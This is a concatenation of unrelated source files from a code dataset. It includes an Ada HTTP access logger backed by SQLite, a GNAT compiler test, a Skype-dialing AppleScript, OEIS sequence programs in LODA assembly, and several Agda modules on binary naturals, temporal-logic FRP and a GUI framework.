Build_Time, Export_Time : in Duration)
is
function Hold_Header (Name : in String) return String_Holder;
Headers : constant AWS.Headers.List := AWS.Status.Header (Request);
function Hold_Header (Name : in String) return String_Holder is
begin
if AWS.Headers.Exist (Headers, Name) then
return Hold (AWS.Headers.Get_Values (Headers, Name));
else
return Empty_Holder;
end if;
end Hold_Header;
use String_Tables;
begin
Queue.Append
((Is_Empty => False,
Strings =>
(Peer_Name => Hold (AWS.Status.Peername (Request)),
Method => Hold (AWS.Status.Method (Request)),
Path => Hold (AWS.Status.URI (Request)),
Http_Version => Hold (AWS.Status.HTTP_Version (Request)),
Referrer => Hold_Header ("Referer"),
User_Agent => Hold_Header ("User-Agent"),
Cookies => Hold_Header ("Cookie"),
Host => Hold_Header ("Host"),
Real_IP => Hold_Header ("X-Real-IP"),
Forwarded_For => Hold_Header ("X-Forwarded-For"),
Forwarded_Proto => Hold_Header ("X-Forwarded-Proto")),
Status_Code => Integer'Value (AWS.Messages.Image
(AWS.Response.Status_Code (Response))),
Bytes => Long_Integer (AWS.Response.Content_Length (Response)),
Build_Time => Build_Time,
Export_Time => Export_Time));
end Log;
---------------------
-- Log Entry Queue --
---------------------
protected body Queue is
entry Append (Values : in Log_Entry) when True is
begin
if Task_Waiting then
Task_Waiting := False;
requeue Worker.Run;
else
List.Append (Values);
end if;
end Append;
procedure Next (Values : out Extended_Log_Entry) is
begin
if List.Is_Empty then
Task_Waiting := True;
Values := (Is_Empty => True);
else
pragma Assert (not Task_Waiting);
Values := List.First_Element;
List.Delete_First;
end if;
end Next;
end Queue;
-----------------
-- Worker Task --
-----------------
procedure Run_SQL_Main is new Run_SQL (Log_Entry);
procedure Run_SQL_String is new Run_SQL (String);
task body Worker is
use type SQLite3.Error_Code;
Status : SQLite3.Error_Code;
Current : Extended_Log_Entry;
Handle : SQLite3.SQLite3_DB;
Stmt : SQLite3.SQLite3_Statement;
Stmt_Ready : Boolean := False;
String_Stmt : array (String_Tables.Enum) of SQLite3.SQLite3_Statement;
String_Stmt_Ready : array (String_Tables.Enum) of Boolean
:= (others => False);
begin
select
accept Run (Values : in Log_Entry) do
Current := Values;
end Run;
or
terminate;
end select;
pragma Assert (not Current.Is_Empty);
Initialize (Handle, "access.dat");
SQLite3.Busy_Timeout (Handle, 60_000, Status);
Main_Loop :
loop
Run_String_Inserts :
for T in String_Tables.Enum loop
Run_SQL_String
(Handle,
String_Stmt (T),
String_Stmt_Ready (T),
To_String (Current.Strings (T)),
"INSERT OR IGNORE INTO " & Table_Name (T) & " VALUES (?1);",
Table_Name (T) & " insert");
end loop Run_String_Inserts;
Run_SQL_Main
(Handle, Stmt, Stmt_Ready, Current, Insert_SQL, "main insert");
Queue.Next (Current);
if Current.Is_Empty then
select
accept Run (Values : in Log_Entry) do
Current := Values;
end Run;
or
terminate;
end select;
end if;
end loop Main_Loop;
exception
when Ex : others =>
if not Natools.Web."="
(Natools.Web.Log, Natools.Web.Default_Log'Access)
then
Natools.Web.Log
(Natools.Web.Severities.Critical,
"Exception raised in Lithium.Access_Log.Worker task");
Natools.Web.Log
(Natools.Web.Severities.Critical,
Ada.Exceptions.Exception_Information (Ex));
else
Ada.Text_IO.Put_Line
(Ada.Text_IO.Current_Error,
"Exception raised in Lithium.Access_Log.Worker task");
Ada.Text_IO.Put_Line
(Ada.Text_IO.Current_Error,
Ada.Exceptions.Exception_Information (Ex));
end if;
end Worker;
end Lithium.Access_Log;
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/discr14.adb | best08618/asylo | 7 | 19395 | <gh_stars>1-10
-- { dg-do compile }
package body Discr14 is
procedure ASSIGN( TARGET : in out SW_TYPE_INFO ;
SOURCE : in SW_TYPE_INFO ) is
begin
TARGET := new T_SW_TYPE_DESCRIPTOR( SOURCE.SW_TYPE, SOURCE.DIMENSION );
end ASSIGN;
end Discr14;
|
bin/skypeItAppleScript.scpt | t3rse/skypeit | 0 | 4444 | (*
phone number needs to come in the format of +15555555555 ,5555#
*)
on run(arguments)
log "start"
log arguments
set phone_number to item 1 of arguments
set dtmf to item 2 of arguments
tell application "Skype"
log "tell Skype"
set active_call to send command "CALL " & phone_number script name ""
log active_call
set skype_call_id to word 2 of active_call
log skype_call_id
delay 10
set bridge to "ALTER CALL " & skype_call_id & " DTMF "
repeat with tone in the characters of dtmf
if tone contains "," then
delay 2
else
send command bridge & " " & tone script name "s2"
delay 0.2
end if
end repeat
end tell
end run
|
programs/oeis/092/A092038.asm | neoneye/loda | 22 | 25380 | <reponame>neoneye/loda<gh_stars>10-100
; A092038: a(n+1) = a(n) + (a(n) mod 2)^(n mod a(n)), a(1) = 1.
; 1,2,2,3,4,4,4,5,6,6,6,7,8,8,8,9,10,10,10,11,12,12,12,13,14,14,14,15,16,16,16,17,18,18,18,19,20,20,20,21,22,22,22,23,24,24,24,25,26,26,26,27,28,28,28,29,30,30,30,31,32,32,32,33,34,34,34,35,36,36,36,37,38,38,38,39,40,40,40,41,42,42,42,43,44,44,44,45,46,46,46,47,48,48,48,49,50,50,50,51
mov $2,1
lpb $0
sub $0,1
add $1,2
mov $2,$0
trn $0,3
trn $2,1
lpe
add $1,$2
mov $0,$1
|
Dave/Algebra/Naturals/Bin.agda | DavidStahl97/formal-proofs | 0 | 10680 | module Dave.Algebra.Naturals.Bin where
open import Dave.Algebra.Naturals.Definition
open import Dave.Algebra.Naturals.Addition
open import Dave.Algebra.Naturals.Multiplication
open import Dave.Embedding
data Bin : Set where
⟨⟩ : Bin
_t : Bin → Bin
_f : Bin → Bin
inc : Bin → Bin
inc ⟨⟩ = ⟨⟩ t
inc (b t) = (inc b) f
inc (b f) = b t
to : ℕ → Bin
to zero = ⟨⟩ f
to (suc n) = inc (to n)
from : Bin → ℕ
from ⟨⟩ = zero
from (b t) = 1 + 2 * (from b)
from (b f) = 2 * (from b)
from6 = from (⟨⟩ t t f)
from23 = from (⟨⟩ t f t t t)
from23WithZeros = from (⟨⟩ f f f t f t t t)
Bin-ℕ-Suc-Homomorph : ∀ (b : Bin) → from (inc b) ≡ suc (from b)
Bin-ℕ-Suc-Homomorph ⟨⟩ = refl
Bin-ℕ-Suc-Homomorph (b t) = begin
from (inc (b t)) ≡⟨⟩
from ((inc b) f) ≡⟨⟩
2 * (from (inc b)) ≡⟨ cong (λ a → 2 * a) (Bin-ℕ-Suc-Homomorph b) ⟩
2 * suc (from b) ≡⟨⟩
2 * (1 + (from b)) ≡⟨ *-distrib1ₗ-+ₗ 2 (from b) ⟩
2 + 2 * (from b) ≡⟨⟩
suc (1 + 2 * (from b)) ≡⟨⟩
suc (from (b t)) ∎
Bin-ℕ-Suc-Homomorph (b f) = begin
from (inc (b f)) ≡⟨⟩
from (b t) ≡⟨⟩
1 + 2 * (from b) ≡⟨⟩
suc (2 * from b) ≡⟨⟩
suc (from (b f)) ∎
to-inverse-from : ∀ (n : ℕ) → from (to n) ≡ n
to-inverse-from zero = refl
to-inverse-from (suc n) = begin
from (to (suc n)) ≡⟨⟩
from (inc (to n)) ≡⟨ Bin-ℕ-Suc-Homomorph (to n) ⟩
suc (from (to n)) ≡⟨ cong (λ a → suc a) (to-inverse-from n) ⟩
suc n ∎
ℕ≲Bin : ℕ ≲ Bin
ℕ≲Bin = record
{
to = to;
from = from;
from∘to = to-inverse-from
} |
programs/oeis/168/A168526.asm | neoneye/loda | 22 | 178839 | ; A168526: a(n) = n^6*(n + 1)/2.
; 0,1,96,1458,10240,46875,163296,470596,1179648,2657205,5500000,10629366,19408896,33787663,56471520,91125000,142606336,217238121,323116128,470458810,672000000,943427331,1303868896,1776430668,2388787200,3173828125,4170362976,5423886846,6987409408,8922349815,11299500000,14200058896,17716740096,21954955473,27034077280,33088781250,40270473216,48748801771,58713259488,70374875220,83968000000,99752189061,118014182496,139069987078,163267061760,190986609375,222645977056,258701167896,299649466368,346032180025,398437500000,457503482826,523921156096,598437750483,681860060640,775057937500,878967914496,994596970221,1123026430048,1265416009230,1423008000000,1597131605191,1789207420896,2000752070688,2233382993920,2488823390625,2768907325536,3075584993746,3410928150528,3777135707835,4176539500000,4611610221156,5084963536896,5599366372693,6157743381600,6763183593750,7418947250176,8128472823471,8895384227808,9723498220840,10616832000000,11579610995721,12616276864096,13731495681498,14930166343680,16217429171875,17598674728416,19079552844396,20665981861888,22364158093245,24180565500000,26121985593886,28195507562496,30408538622103,32768814600160,35284410750000,37963752800256,40815628241521,43849197852768,47074007470050
mov $1,$0
pow $0,6
pow $1,7
add $0,$1
div $0,2
|
src/FRP/LTL/ISet/Product.agda | agda/agda-frp-ltl | 21 | 3474 | <reponame>agda/agda-frp-ltl<filename>src/FRP/LTL/ISet/Product.agda
open import Coinduction using ( ∞ ; ♯_ ; ♭ )
open import Data.Product using ( _×_ ; _,_ ; proj₁ )
open import FRP.LTL.Time.Bound using
( Time∞ ; _≼_ ; _≺_ ; fin ; +∞ ; +∞-top
; ≼-refl ; _≼-trans_ ; ≡-impl-≽ ; ≺-impl-≼ ; ≺-impl-⋡ ; t≺+∞
; _≼-case_ ; lt ; eq ; gt )
open import FRP.LTL.Time.Interval using ( [_⟩ ; _⊑_ ; _~_ ; _⌢_∵_ )
open import FRP.LTL.ISet.Causal using ( _⊵_ ; _∙_⊸_∙_ ; done ; inp ; out ; _/_/_ )
open import FRP.LTL.ISet.Core using ( ISet ; [_] ; _,_ ; ⟦_⟧ ; M⟦_⟧ ; splitM⟦_⟧ ; subsumM⟦_⟧ )
open import FRP.LTL.ISet.Stateless using ( _⇒_ )
open import FRP.LTL.Util using ( ⊥-elim ; ≡-relevant )
open import Relation.Binary.PropositionalEquality using ( _≡_ ; refl )
module FRP.LTL.ISet.Product where
_∧_ : ISet → ISet → ISet
A ∧ B = [ (λ i → M⟦ A ⟧ i × M⟦ B ⟧ i) , split , subsum ] where
split : ∀ i j i~j →
(M⟦ A ⟧ (i ⌢ j ∵ i~j) × M⟦ B ⟧ (i ⌢ j ∵ i~j)) →
((M⟦ A ⟧ i × M⟦ B ⟧ i) × (M⟦ A ⟧ j × M⟦ B ⟧ j))
split i j i~j (σ , τ) with splitM⟦ A ⟧ i j i~j σ | splitM⟦ B ⟧ i j i~j τ
split i j i~j (σ , τ) | (σ₁ , σ₂) | (τ₁ , τ₂) = ((σ₁ , τ₁) , (σ₂ , τ₂))
subsum : ∀ i j → (i ⊑ j) → (M⟦ A ⟧ j × M⟦ B ⟧ j) → (M⟦ A ⟧ i × M⟦ B ⟧ i)
subsum i j i⊑j (σ , τ) = (subsumM⟦ A ⟧ i j i⊑j σ , subsumM⟦ B ⟧ i j i⊑j τ)
-- We could define fst and snd in terms of arr, but we define them explictly for efficiency.
π₁ : ∀ {A B} t → ((A ∧ B) ∙ t ⊸ A ∙ t)
π₁ {A} {B} +∞ = done refl
π₁ {A} {B} (fin t) = inp ≼-refl t≺+∞ P where
P : ∀ {u} .(t≺u : fin t ≺ u) → M⟦ A ∧ B ⟧ [ t≺u ⟩ → ∞ ((A ∧ B) ∙ u ⊸ A ∙ fin t)
P {u} t≺u [ σ , τ ] = ♯ out t≺u σ (♯ π₁ u)
fst : ∀ {A B} → ⟦ A ∧ B ⊵ A ⟧
fst = [ (λ t t∈i → π₁ (fin t)) ]
π₂ : ∀ {A B} t → ((A ∧ B) ∙ t ⊸ B ∙ t)
π₂ {A} {B} +∞ = done refl
π₂ {A} {B} (fin t) = inp ≼-refl t≺+∞ Q where
Q : ∀ {u} .(t≺u : fin t ≺ u) → M⟦ A ∧ B ⟧ [ t≺u ⟩ → ∞ ((A ∧ B) ∙ u ⊸ B ∙ fin t)
Q {u} t≺u [ σ , τ ] = ♯ out t≺u τ (♯ π₂ u)
snd : ∀ {A B} → ⟦ A ∧ B ⊵ B ⟧
snd = [ (λ t t∈i → π₂ (fin t)) ]
-- Mediating morphism
_&&_ : ∀ {A B C s t} → (A ∙ s ⊸ B ∙ t) → (A ∙ s ⊸ C ∙ t) → (A ∙ s ⊸ (B ∧ C) ∙ t)
inp s≼t t≺∞ P && Q = inp s≼t t≺∞ (λ s≺u σ → ♯ (♭ (P s≺u σ) && (Q / s≺u / σ)))
P && inp s≼t t≺∞ Q = inp s≼t t≺∞ (λ s≺u σ → ♯ ((P / s≺u / σ) && ♭ (Q s≺u σ)))
P && done t≡∞ = done t≡∞
done t≡∞ && Q = done t≡∞
out {u} t≺u σ P && out {v} t≺v τ Q with u ≼-case v
out t≺u σ P && out t≺v τ Q | lt u≺v with splitM⟦ _ ⟧ [ t≺u ⟩ [ u≺v ⟩ refl τ
out t≺u σ P && out t≺v τ Q | lt u≺v | (τ₁ , τ₂) = out t≺u [ σ , τ₁ ] (♯ (♭ P && out u≺v τ₂ Q))
out t≺u σ P && out t≺v τ Q | eq u≡v with ≡-relevant u≡v
out t≺u σ P && out t≺v τ Q | eq u≡v | refl = out t≺u [ σ , τ ] (♯ (♭ P && ♭ Q))
out t≺u σ P && out t≺v τ Q | gt v≺u with splitM⟦ _ ⟧ [ t≺v ⟩ [ v≺u ⟩ refl σ
out t≺u σ P && out t≺v τ Q | gt v≺u | (σ₁ , σ₂) = out t≺v [ σ₁ , τ ] (♯ (out v≺u σ₂ P && ♭ Q))
_&&&_ : ∀ {A B C} → ⟦ (A ⊵ B) ⇒ (A ⊵ C) ⇒ (A ⊵ (B ∧ C)) ⟧
[ [ f ] ] &&& [ [ g ] ] = [ (λ t t∈i → f t t∈i && g t t∈i) ] |
examples/GUIgeneric/GUI.agda | stephanadls/state-dependent-gui | 2 | 10600 | <reponame>stephanadls/state-dependent-gui<filename>examples/GUIgeneric/GUI.agda
module GUIgeneric.GUI where
open import GUIgeneric.Prelude
open import GUIgeneric.GUIDefinitions
Frame : Set
Frame = ComponentEls frame
logOn : Bool
logOn = true
log : {A : Set} → String → (f : Unit → IO GuiLev1Interface ∞ A) →
IO GuiLev1Interface ∞ A
log s f = if logOn then (do (putStrLn s) λ x → f x) else f unit
module _ where
FFIcomponents : {c : Component}(e : ComponentEls c) → Set
FFIcomponents {c} (add i e e' _) = FFIcomponents e × FFIcomponents e'
FFIcomponents {frame} (createC tt) = FFIFrame
FFIcomponents {atomicComp} (createC (button x)) = FFIButton
FFIcomponents {atomicComp} (createC (txtbox y)) = FFITextCtrl
ffiComponentsToFrame : (e : ComponentEls frame)(ffi : FFIcomponents e) → FFIFrame
ffiComponentsToFrame (createC x) ffi = ffi
ffiComponentsToFrame (add c'c e e₁ _) (ffie , ffie₁) = ffiComponentsToFrame e₁ ffie₁
FFIcomponentsReduce : {c c' : Component}(e : ComponentEls c)(e' : ComponentEls c')
(ee' : e <c e')
(ff1 : FFIcomponents e')
→ FFIcomponents e
FFIcomponentsReduce e (add i .e e'' _) (addsub i' .e .e'' _) ffi1 = proj₁ ffi1
FFIcomponentsReduce e (add i e' .e _) (addlift i' .e' .e _) ffi1 = proj₂ ffi1
FFIcomponentsReduce+ : {c c' : Component}(e : ComponentEls c)(e' : ComponentEls c')
(ee' : e <=c+ e')
(ffi : FFIcomponents e')
→ FFIcomponents e
FFIcomponentsReduce+ e .e (in0= .e) ffi1 = ffi1
FFIcomponentsReduce+ e e' (in2= .e e'₁ .e' x ee') ffi1 =
FFIcomponentsReduce e e'₁ x (FFIcomponentsReduce+ e'₁ e' ee' ffi1)
data SemiDec (A : Frame → Set) : Set where
isEmpty : ((f : Frame) → A f → ⊥) → SemiDec A
posNonEmpty : SemiDec A
data MethodsStruct : Set where
fficom : MethodsStruct
⊥^ : MethodsStruct
_⊎^_ : (m m' : MethodsStruct) → MethodsStruct
_⊎^unoptimized_ : (m m' : MethodsStruct) → MethodsStruct
mutual
methodsStruct2Method : (g : Frame)(m : MethodsStruct) → Set
methodsStruct2Method g fficom = FFIcomponents g
methodsStruct2Method g ⊥^ = ⊥
methodsStruct2Method g (m ⊎^ m₁) = methodsStruct2Methodaux g m m₁
(methodsUnivIsEmpty m)
(methodsUnivIsEmpty m₁)
methodsStruct2Method g (m ⊎^unoptimized m₁) = methodsStruct2Method g m ⊎ methodsStruct2Method g m₁
methodsStruct2Methodaux : (g : Frame) (m m' : MethodsStruct)
(s : SemiDec (λ g → methodsStruct2Method g m))
(s' : SemiDec (λ g → methodsStruct2Method g m'))
→ Set
methodsStruct2Methodaux g m m' s (isEmpty s') = methodsStruct2Method g m
methodsStruct2Methodaux g m m' (isEmpty x) posNonEmpty = methodsStruct2Method g m'
methodsStruct2Methodaux g m m' posNonEmpty posNonEmpty = methodsStruct2Method g m ⊎ methodsStruct2Method g m'
methodsUnivIsEmpty : (m : MethodsStruct) → SemiDec (λ g → methodsStruct2Method g m)
methodsUnivIsEmpty fficom = posNonEmpty
methodsUnivIsEmpty ⊥^ = isEmpty (λ g → λ ())
methodsUnivIsEmpty (m ⊎^ m₁) =
methodsUnivIsEmptyaux m m₁
(methodsUnivIsEmpty m)
(methodsUnivIsEmpty m₁)
methodsUnivIsEmpty (m ⊎^unoptimized m₁) = posNonEmpty
methodsUnivIsEmptyaux : (m m' : MethodsStruct)
(s : SemiDec (λ g → methodsStruct2Method g m ))
(s' : SemiDec (λ g → methodsStruct2Method g m' ))
→ SemiDec (λ g → methodsStruct2Methodaux g m m' s s')
methodsUnivIsEmptyaux m m' s (isEmpty s') = s
methodsUnivIsEmptyaux m m' (isEmpty x) posNonEmpty = posNonEmpty
methodsUnivIsEmptyaux m m' posNonEmpty posNonEmpty = posNonEmpty
inj₁MUaux : (g : Frame) (m m' : MethodsStruct)
(s : SemiDec (λ g → methodsStruct2Method g m ))
(s' : SemiDec (λ g → methodsStruct2Method g m' ))
(u : methodsStruct2Method g m)
→ methodsStruct2Methodaux g m m' s s'
inj₁MUaux g m m' s (isEmpty x) u = u
inj₁MUaux g m m' (isEmpty x) posNonEmpty u = ⊥-elim (x g u)
inj₁MUaux g m m' posNonEmpty posNonEmpty u = inj₁ u
inj₁MUoptimized : (g : Frame) (m m' : MethodsStruct)(u : methodsStruct2Method g m )-- (isOpt : Bool)
→ methodsStruct2Method g (m ⊎^ m') --isOpt
inj₁MUoptimized g m m' u = inj₁MUaux g m m'
(methodsUnivIsEmpty m)
(methodsUnivIsEmpty m') u
inj₁MUUnoptimized : (g : Frame) (m m' : MethodsStruct)(u : methodsStruct2Method g m )-- (isOpt : Bool)
→ methodsStruct2Method g (m ⊎^unoptimized m') --isOpt
inj₁MUUnoptimized g m m' u = inj₁ u
inj₂MUaux : (g : Frame) (m m' : MethodsStruct)
(s : SemiDec (λ g → methodsStruct2Method g m))
(s' : SemiDec (λ g → methodsStruct2Method g m' ))
(u : methodsStruct2Method g m')
→ methodsStruct2Methodaux g m m' s s'
inj₂MUaux g m m' s (isEmpty x) u = ⊥-elim (x g u)
inj₂MUaux g m m' (isEmpty x) posNonEmpty u = u
inj₂MUaux g m m' posNonEmpty posNonEmpty u = inj₂ u
inj₂MUoptimized : (g : Frame) (m m' : MethodsStruct)(u : methodsStruct2Method g m' )
→ methodsStruct2Method g (m ⊎^ m') --isOpt
inj₂MUoptimized g m m' u = inj₂MUaux g m m'
(methodsUnivIsEmpty m)
(methodsUnivIsEmpty m') u
inj₂MUUnoptimized : (g : Frame) (m m' : MethodsStruct)(u : methodsStruct2Method g m' )
→ methodsStruct2Method g (m ⊎^unoptimized m') --isOpt
inj₂MUUnoptimized g m m' u = inj₂ u
methodStruct : {c : Component}(e : ComponentEls c) → MethodsStruct
methodStruct (add c'c x x₁ optimized) = methodStruct x ⊎^ methodStruct x₁
methodStruct (add c'c x x₁ notOptimized) = methodStruct x ⊎^unoptimized methodStruct x₁
methodStruct {atomicComp} (createC (button s)) = fficom
methodStruct {atomicComp} (createC (txtbox s)) = ⊥^
methodStruct _ = ⊥^
methods : {c : Component}(e : ComponentEls c)(g : Frame) → Set
methods e g = methodsStruct2Method g (methodStruct e)
methodsG : (g : Frame) → Set
methodsG g = methods g g
methodLift : {c c'' : Component}(e : ComponentEls c)(e'₁ : ComponentEls c'')
(g : Frame) (x : e <c e'₁) (m : methods e g )
→ methods e'₁ g
methodLift e .(add i e e₁ optimized) g (addsub i .e e₁ optimized) m =
inj₁MUoptimized g
(methodStruct e)
(methodStruct e₁)
m
methodLift e .(add i e e₁ notOptimzed) g (addsub i .e e₁ notOptimzed) m =
inj₁MUUnoptimized g
(methodStruct e)
(methodStruct e₁)
m
methodLift e .(add i e'₂ e optimized) g (addlift i e'₂ .e optimized) m =
inj₂MUoptimized g
(methodStruct e'₂)
(methodStruct e)
m
methodLift e .(add i e'₂ e notOptimzed) g (addlift i e'₂ .e notOptimzed) m =
inj₂MUUnoptimized g
(methodStruct e'₂)
(methodStruct e)
m
methodLift+ : {c c' : Component}(e : ComponentEls c)(e' : ComponentEls c')
(g : Frame)(ee' : e <=c+ e')
(m : methods e g)
→ methods e' g
methodLift+ e .e g (in0= .e) m = m
methodLift+ e e' g (in2= .e e'₁ .e' x ee'') m =
methodLift+ e'₁ e' g ee'' (methodLift e e'₁ g x m)
data returnType (f : Frame) : Set where
noChange : returnType f
changedAttributes : properties f → returnType f
changedGUI
: (fNew : Frame) → (properties fNew) → returnType f
nextStateFrame : (f : Frame)(r : returnType f) → Frame
nextStateFrame f noChange = f
nextStateFrame f (changedAttributes x) = f
nextStateFrame f (changedGUI fNew x) = fNew
handlerInterface : Interfaceˢ
handlerInterface .Stateˢ = Frame
handlerInterface .Methodˢ f = methodsG f
handlerInterface .Resultˢ f m = returnType f
handlerInterface .nextˢ f m r = nextStateFrame f r
HandlerObject : ∀ i → Frame → Set
HandlerObject i g =
IOObjectˢ GuiLev1Interface handlerInterface i g
StateAndGuiObj : Set
StateAndGuiObj = Σ[ g ∈ Frame ] (properties g) × (HandlerObject ∞ g)
StateAndFFIComp : Set
StateAndFFIComp = Σ[ g ∈ Frame ] FFIcomponents g
--
-- Step 3 : create object of type HandlerObject
--
SingleMVar : {A : Set} → (mvar : MVar A) → VarList
SingleMVar {A} mvar = addVar mvar []
initHandlerMVar : (l : VarList) (g : Frame)
(a : properties g)
(f : HandlerObject ∞ g)
→ IOˢ GuiLev2Interface ∞
(λ s → Σ[ mvar ∈ MVar StateAndGuiObj ]
s ≡ addVar mvar l ) l
initHandlerMVar l g a f = doˢ (createVar {_}{StateAndGuiObj} (g , a , f)) λ mvar →
returnˢ (mvar , refl)
initFFIMVar : (g : Frame)
→ (comp : (FFIcomponents g))
→ IOˢ GuiLev2Interface ∞
(λ s → Σ[ mvar ∈ MVar StateAndFFIComp ]
s ≡ SingleMVar mvar ) []
initFFIMVar g comp = doˢ (createVar {_}{StateAndFFIComp} (g , comp)) λ mvar →
returnˢ (mvar , refl)
module _ where
frameToEnclosing : (e : ComponentEls frame)(ffi : FFIcomponents e) → FFIFrame
frameToEnclosing (createC x) ffi = ffi
frameToEnclosing (add i e e₁ _) (proj₃ , proj₄) = frameToEnclosing e₁ proj₄
componentToEnclosingIndex : (c : Component) → Set
componentToEnclosingIndex frame = ⊥
componentToEnclosingIndex atomicComp = ⊤
componentToEnclosings : (c : Component)(i : componentToEnclosingIndex c) → Set
componentToEnclosings frame ()
componentToEnclosings atomicComp tt = FFIFrame
createComp : {c : Component}{s : GuiLev2State}(e : ComponentEls c)
(enclosings : (i : componentToEnclosingIndex c) → componentToEnclosings c i)
→ (existingFrame : Maybe FFIFrame) → IOₚˢ GuiLev2Interface ∞ (FFIcomponents e) s s
createComp {frame} (createC fr) enc (just ffiFrame) = returnˢ (refl , ffiFrame)
createComp {frame} (createC fr) enc nothing =
doˢ (level1C createWxFrame) λ frFFI → returnˢ (refl , frFFI)
createComp {frame} (add buttonFrame e frameEl _) enc maybeFr =
createComp frameEl enc maybeFr >>=ₚˢ λ frameComp →
createComp e (λ x → frameToEnclosing frameEl frameComp) maybeFr >>=ₚˢ λ buttonComp →
returnˢ (refl , buttonComp , frameComp)
createComp {atomicComp} (createC (button x)) enc maybeFr =
doˢ (level1C (createButton (enc tt) x)) λ bt →
returnˢ (refl , bt)
createComp {atomicComp} (createC (txtbox x)) enc maybeFr =
doˢ (level1C (createTextCtrl (enc tt) x)) λ txt →
returnˢ (refl , txt)
createComp {atomicComp} (add () e e₁ _) x y
createFrame : (g : Frame) → IOₚˢ GuiLev2Interface ∞ (FFIcomponents g) [] []
createFrame g = createComp {frame} g (λ x → ⊥-elim x) nothing
reCreateFrame : {s : GuiLev2State}(g : Frame)(f : FFIFrame) → IOₚˢ GuiLev2Interface ∞ (FFIcomponents g) s s
reCreateFrame g fr = createComp {frame} g (λ x → ⊥-elim x) (just fr)
module _ where
ButtonComp : Set
ButtonComp = ComponentEls atomicComp
button2Frame : (bt : ButtonComp)(g : Frame)(ffi : FFIcomponents g)
(rel : bt <=c+ g) → FFIFrame
button2Frame bt g ffi (in2= {c' = frame} .bt .(add c'c bt e _) .g (addsub c'c .bt e _) rel) = ffiComponentsToFrame e (FFIcomponentsReduce+ e g aux ffi)
where
aux : e <=c+ g
aux = in2= e (add c'c bt e _) g (addlift c'c bt e _) rel
button2Frame bt g ffi (in2= {c' = atomicComp} .bt .(add _ bt e _) .g (addsub () .bt e _) rel)
button2Frame bt g ffi (in2= .bt .(add _ e'₁ bt _) .g (addlift {frame} () e'₁ .bt _) (in2= .(add _ e'₁ bt _) e' .g x rel))
button2Frame bt g ffi (in2= .bt .(add _ e'₁ bt _) .g (addlift {atomicComp} () e'₁ .bt _) (in2= .(add _ e'₁ bt _) e' .g x rel))
buttonHandleraux2 : ∀{i} → (bt : ButtonComp)
(g : Frame)
(ffi : FFIcomponents g)
(rel : bt <=c+ g)
(m : methods bt g)
(a : properties g)
(obj : HandlerObject ∞ g)
(r : returnType g)
(obj' : IOObjectˢ GuiLev1Interface handlerInterface ∞
(nextStateFrame g r))
→ IO GuiLev1Interface i StateAndGuiObj
buttonHandleraux2 bt g ffi rel m a obj noChange obj' = return (g , a , obj')
buttonHandleraux2 bt g ffi rel m a obj (changedAttributes a') obj' =
log "Changing Attributes Directly" λ _ →
return (g , a' , obj')
buttonHandleraux2 (createC x) g ffi rel m a obj (changedGUI gNew a') obj' =
log "Firing GUI change ----> SEND FIRE" λ _ →
do (fireCustomEvent (button2Frame (createC x) g ffi rel)) λ _ →
return (gNew , a' , obj')
buttonHandleraux2 (add () bt bt₁ _) g ffi rel m a obj (changedGUI gNew a') obj'
buttonHandleraux : ∀{i} → (bt : ButtonComp)
(g : Frame)
(ffi : FFIcomponents g)
(rel : bt <=c+ g)
(m : methods bt g)
(gNew : Frame)
(a : properties gNew)
(obj : HandlerObject ∞ gNew)
(dec : Dec (g ≡ gNew))
→ IO GuiLev1Interface i StateAndGuiObj
buttonHandleraux bt g ffi rel m .g a obj (Dec.yes refl)
= method obj (methodLift+ bt g g rel m) >>= λ { (r , obj') →
buttonHandleraux2 bt g ffi rel m a obj r obj'}
buttonHandleraux bt g ffi rel m gNew a obj (Dec.no ¬p)
= log "ERROR: button handler is called for wrong GUI !!" λ _ →
return (gNew , a , obj)
buttonHandler : ∀{i} → (bt : ButtonComp)
(g : Frame)
(ffi : FFIcomponents g)
(rel : bt <=c+ g)
(m : methods bt g)
(obj : StateAndGuiObj)
→ IO GuiLev1Interface i StateAndGuiObj
buttonHandler {i} bt g ffi rel m (gNew , a , obj) = buttonHandleraux {i} bt g ffi rel m gNew a obj (g ≟Comp gNew)
setHandler : ∀{i} → (c : Component)
(cels : ComponentEls c)
(g : Frame)
(ffiComp : FFIcomponents g)
(rel : cels <=c+ g)
(mvar : MVar StateAndGuiObj)
(restList : VarList)
→ IOˢ GuiLev2Interface i (λ s' → s' ≡ addVar mvar restList × Unit)
(addVar mvar restList)
setHandler .frame (add buttonFrame cels cels₁ _) g ffi rel mvar restList =
setHandler frame cels₁ g ffi
(in2= cels₁ (add buttonFrame cels cels₁ _) g (addlift buttonFrame cels cels₁ _) rel)
mvar restList >>=ₚˢ λ r →
setHandler atomicComp cels g ffi (in2= cels (add buttonFrame cels cels₁ _) g (addsub buttonFrame cels cels₁ _) rel) mvar restList >>=ₚˢ λ r →
returnˢ (refl , _)
setHandler frame (createC tt) g ffi rel mvar restList = returnˢ (refl , _)
setHandler atomicComp (createC (button x)) g ffi (in2= .(createC (button x)) e' .g x₁ rel) mvar restList =
doˢ (setButtonHandler (FFIcomponentsReduce (createC (button x)) e' x₁
(FFIcomponentsReduce+ e' g rel ffi) )
[ (λ obj → buttonHandler (createC (button x)) g ffi
(in2= (createC (button x)) e' g x₁ rel) ffi (varListProj₁ restList obj)
>>= (λ { (g' , obj') → return (varListUpdateProj₁ restList ( g' , obj') obj)}))]) λ _ →
returnˢ (refl , _)
setHandler atomicComp (createC (txtbox x)) g ffi (in2= .(createC (txtbox x)) e' .g x₁ rel) mvar restList = returnˢ (refl , _)
setHandlerG : ∀{i} → (g : Frame)
(ffiComp : FFIcomponents g)
(mvar : MVar StateAndGuiObj)
(restList : VarList)
→ IOˢ GuiLev2Interface i (λ s → s ≡ addVar mvar restList × Unit) (addVar mvar restList)
setHandlerG g ffi mvar restList = setHandler frame g g ffi (in0= g) mvar restList
deleteComp : {c : Component}{s : GuiLev2State}(e : ComponentEls c)(ffi : FFIcomponents e)
→ IOₚˢ GuiLev2Interface ∞ Unit s s
deleteComp {frame} (createC fr) _ = returnˢ (refl , _)
deleteComp {frame} (add x be frameEl _) (ffi , ffis) =
deleteComp be ffi >>=ₚˢ λ _ →
deleteComp frameEl ffis >>=ₚˢ λ r →
returnˢ (refl , _)
deleteComp {atomicComp} (createC (button x)) ffiButton =
doˢ (level1C (deleteButton ffiButton)) λ _ →
returnˢ (refl , _)
deleteComp {atomicComp} (createC (txtbox y)) ffiTextCtrl =
doˢ (level1C (deleteTextCtrl ffiTextCtrl)) λ _ →
returnˢ (refl , _)
deleteComp {atomicComp} (add () a b _) y
